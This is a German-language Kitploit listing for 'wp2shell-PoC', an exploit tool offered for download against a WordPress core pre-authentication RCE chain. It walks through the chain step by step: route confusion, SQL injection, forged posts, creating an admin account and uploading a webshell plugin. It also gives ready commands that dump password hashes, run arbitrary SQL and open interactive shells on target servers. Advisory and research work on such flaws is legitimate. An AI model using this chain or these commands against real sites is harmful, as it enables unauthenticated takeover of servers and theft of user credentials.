Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
wp2shell-PoC — CVE-2026-63030 & CVE-2026-60137 RCE-Ketten-Proof-of-Concept | Kitploit
Tools/GitHubGitHub/arvindear/wp2shell-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationWebsicherheitPenetrationstestsLernen & BildungRemote-Access-ToolPayload-Entwicklung
GitHubarvindear/wp2shell-poc

wp2shell-PoC

CVE-2026-63030 & CVE-2026-60137 RCE-Ketten-Proof-of-Concept

77291vor 10h 36mNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

wp2shell-PoC

⚠ Dieses Tool wurde ausschließlich zu Bildungs- oder Bug-Bounty-Zwecken erstellt. Die unbefugte Nutzung außerhalb kontrollierter Umgebungen ist strengstens untersagt.

Überblick

Proof-of-Concept für die wp2shell-Schwachstellenkette, die WordPress Core betrifft und CVE-2026-63030 mit CVE-2026-60137 kombiniert. Das Projekt demonstriert das Zusammenspiel zwischen der Route-Confusion-Schwachstelle der REST-API-Batch-Route und einer WP_Query-SQL-Injection, was zu einem unauthentifizierten Pfad zur vollständigen Kompromittierung von WordPress und zur Remote-Code-Ausführung (RCE) führt.

Die vollständige Advisory hier lesen

Funktionsweise

wp2shell ist eine Pre-Authentication-RCE-Kette im WordPress-Core, die CVE-2026-63030 (Route Confusion im Batch-REST-Endpunkt) und CVE-2026-60137 (SQL-Injection in WP_Query) kombiniert.

Die Route Confusion: /wp-json/batch/v1 verarbeitet mehrere Sub-Requests über parallele $matches- und $validation-Arrays, die nach Position indiziert sind. Ein Sub-Request mit einem fehlerhaften Pfad (z. B. http://:) wird an $validation, aber aufgrund einer -Anweisung nicht an angehängt, wodurch die Arrays desynchronisiert werden. Spätere Requests werden unter dem Handler ausgeführt, der für den Request gedacht ist, wodurch die Schema-Validierung und Berechtigungsprüfungen umgangen werden.

Tool herunterladen
continue
$matches
nächsten

Die SQL-Injection: Zwei verschachtelte Batch-Aufrufe nutzen dies aus. Der äußere Batch umgeht die Methoden-Allow-List (die normalerweise GET blockiert). Der innere Batch liefert einen skalaren author_exclude-String an GET /wp/v2/posts – die Desynchronisierung leitet ihn an der Validierung vorbei, und WP_Query interpoliert den unbereinigten String direkt in SQL, was zu einer UNION-basierten Blind-Injection führt.

Cache Poisoning: Die SQLi gibt gefälschte WP_Post-Objekte zurück, die WordPress im Speicher zwischenspeichert. Diese gefälschten Posts enthalten [embed]-Shortcodes, die WordPress dazu veranlassen, echte oembed_cache-Datenbankzeilen aus den gefälschten Referenzen zu erstellen.

Changeset-Eskalation: Mithilfe der SQLi fälscht der Angreifer einen customize_changeset-Post im Speicher mit "user_id": 1 in dessen JSON. Ein Cycle-Detection-Gadget löst wp_update_post() aus, ohne post_content zu überschreiben, wodurch die Payload des Angreifers erhalten bleibt. Das Anwenden des Changesets nimmt vorübergehend die Identität des Administrators an.

Hook Re-Entry: Ein fabrizierter Post mit dem Status parse und dem Typ request löst den parse_request-Hook aus und spielt den gesamten Batch-Request mit der angenommenen Admin-Rolle erneut ab. Diesmal gelingt ein POST /wp/v2/users-Sub-Request und erstellt ein neues Admin-Konto.

Code-Ausführung: Der Angreifer meldet sich als der erstellte Admin an und lädt ein bösartiges Plugin hoch, um beliebige Befehle auszuführen.

Betroffene Versionen

VersionStatus
WordPress 6.9.0 – 6.9.4Anfällig
WordPress 7.0.0 – 7.0.1Anfällig
WordPress 6.9.5Behoben
WordPress 7.0.2+Behoben

Verwendung

Um diesen PoC zu verwenden, ist als einzige Voraussetzung Python 3.8+ erforderlich.

Führen Sie ihn aus dem Repository-Verzeichnis aus, um eine Schwachstellenprüfung durchzuführen:

root@kitploit:~
wp2shell.py http://victim.com

Check-Modus (Standard)

Führt eine einzelne Schwachstellenprüfung durch. Sendet eine harmlose Batch-Marker-Sonde, die den Route-Confusion-Bug erkennt, ohne SQLi-Payloads auszuführen. Ein anfälliges Ziel gibt HTTP 207 mit dem Fehlermuster parse_path_failed, block_cannot_read und rest_batch_not_allowed zurück.

Verwenden Sie --confirm-sqli, um zusätzlich eine aktive SQLi-Bestätigungs-Payload zu senden. Die Bestätigung versucht zuerst UNION-Reflection und fällt dann auf timing-basierte Sonden zurück.

Einzelnes Ziel prüfen (Standardmodus)

root@kitploit:~
wp2shell.py http://target.com

Mit explizitem Modus prüfen

root@kitploit:~
Check with explicit mode
wp2shell.py http://target.com --check

Mit SQLi-Bestätigung prüfen

root@kitploit:~
wp2shell.py http://target.com --check --confirm-sqli

Read-Modus – Daten durch SQL-Injection extrahieren

Extrahiert Daten aus der Datenbank mithilfe der Pre-Authentication-SQL-Injection. Standardmäßig wird --technique auto verwendet, wodurch verfügbare Methoden in dieser Reihenfolge ausprobiert werden:

  • union – fälscht eine gefälschte WP_Post-Zeile über UNION und liest deren Titel aus der REST-Antwort als ||HEX(value)|| zurück. Ein Request pro Wert. Am schnellsten.
  • error – verwendet EXTRACTVALUE/UPDATEXML, um ~15 Bytes pro Request zu leaken. Funktioniert, wenn das Ziel MySQL-Fehler zurückgibt (z. B. WP_DEBUG_DISPLAY aktiviert).
  • blind – boolesche binäre Suche, ~8 Requests pro Zeichen. Liest den X-WP-Total-Header als Wahr/Falsch-Signal. Funktioniert auch, wenn keine Daten zurückgegeben werden.

Erzwingen Sie eine bestimmte Technik mit --technique union|error|blind. Diese Lesepfade sind schreibgeschützt und schreiben nicht in die Datenbank.

Server-Fingerprint (Standardabfrage)

root@kitploit:~
wp2shell.py http://target.com --read

Logins und Passwort-Hashes ausgeben

root@kitploit:~
wp2shell.py http://target.com --read --preset users

Benutzerdefinierte SQL-Abfrage

root@kitploit:~
wp2shell.py http://target.com --read --query "SELECT @@version"

Blind-Technik erzwingen

root@kitploit:~
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"

Mit error-basierter Technik extrahieren

root@kitploit:~
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"

Shell-Modus

Führt Befehle auf dem Zielserver aus. Funktioniert in zwei Modi:

Mit Anmeldedaten (meldet sich als vorhandener Admin an und lädt eine Plugin-Shell hoch):

Bestimmten Befehl ausführen

root@kitploit:~
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id

Interaktive Shell

root@kitploit:~
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Ohne Anmeldedaten (Pre-Auth-RCE – führt die vollständige SQLi→Admin-Bridge aus, meldet sich als generierter Admin an und lädt dann eine Plugin-Shell hoch):

Einzelnen Befehl ausführen

root@kitploit:~
wp2shell.py http://target.com --shell --cmd id

Interaktive Shell

root@kitploit:~
wp2shell.py http://target.com --shell --interactive

Die Plugin-Webshell wird mit einem zufälligen Pfad und einem Token pro Ausführung hochgeladen. Die hochgeladene Webshell wird automatisch entfernt. Wenn die Pre-Auth-Bridge einen Administrator erstellt, wird dieses generierte Konto nach Beendigung der Shell-Sitzung automatisch entfernt.

Liste aller Flags:

FlagBeschreibung
--checkSchwachstellenprüfung ausführen (Standardmodus, wenn kein anderer Modus angegeben)
--readDaten über SQL-Injection extrahieren
--shellBefehle auf dem Server ausführen
--queryBenutzerdefinierte SQL-Abfrage für den Read-Modus
--presetVordefiniertes Abfrage-Preset (users, config, versions)
--techniqueSQLi-Extraktionstechnik: union, error, blind oder auto (Standard)
--confirm-sqliSQLi-Bestätigungs-Payload nach der Prüfung senden
--cmdIm Shell-Modus auszuführender Befehl (Standard: id)
--interactive, -iInteraktiver Shell-Modus
--userAdmin-Benutzername für authentifizierte Shell
--passwordAdmin-Passwort für authentifizierte Shell
--proxyHTTP/HTTPS-Proxy (z. B. http://127.0.0.1:8080)
--timeoutRequest-Timeout in Sekunden (Standard: 30)
--verbose, -vAusführliche Ausgabe

Referenzen:

  1. https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/
  2. https://www.picussecurity.com/resource/blog/cve-2026-63030-and-cve-2026-60137-wp2shell-wordpress-rce-explained

Haftungsausschluss

Dieses Tool wurde ausschließlich zu Bildungs- oder Bug-Bounty-Zwecken erstellt. Die unbefugte Nutzung außerhalb kontrollierter Umgebungen ist strengstens untersagt.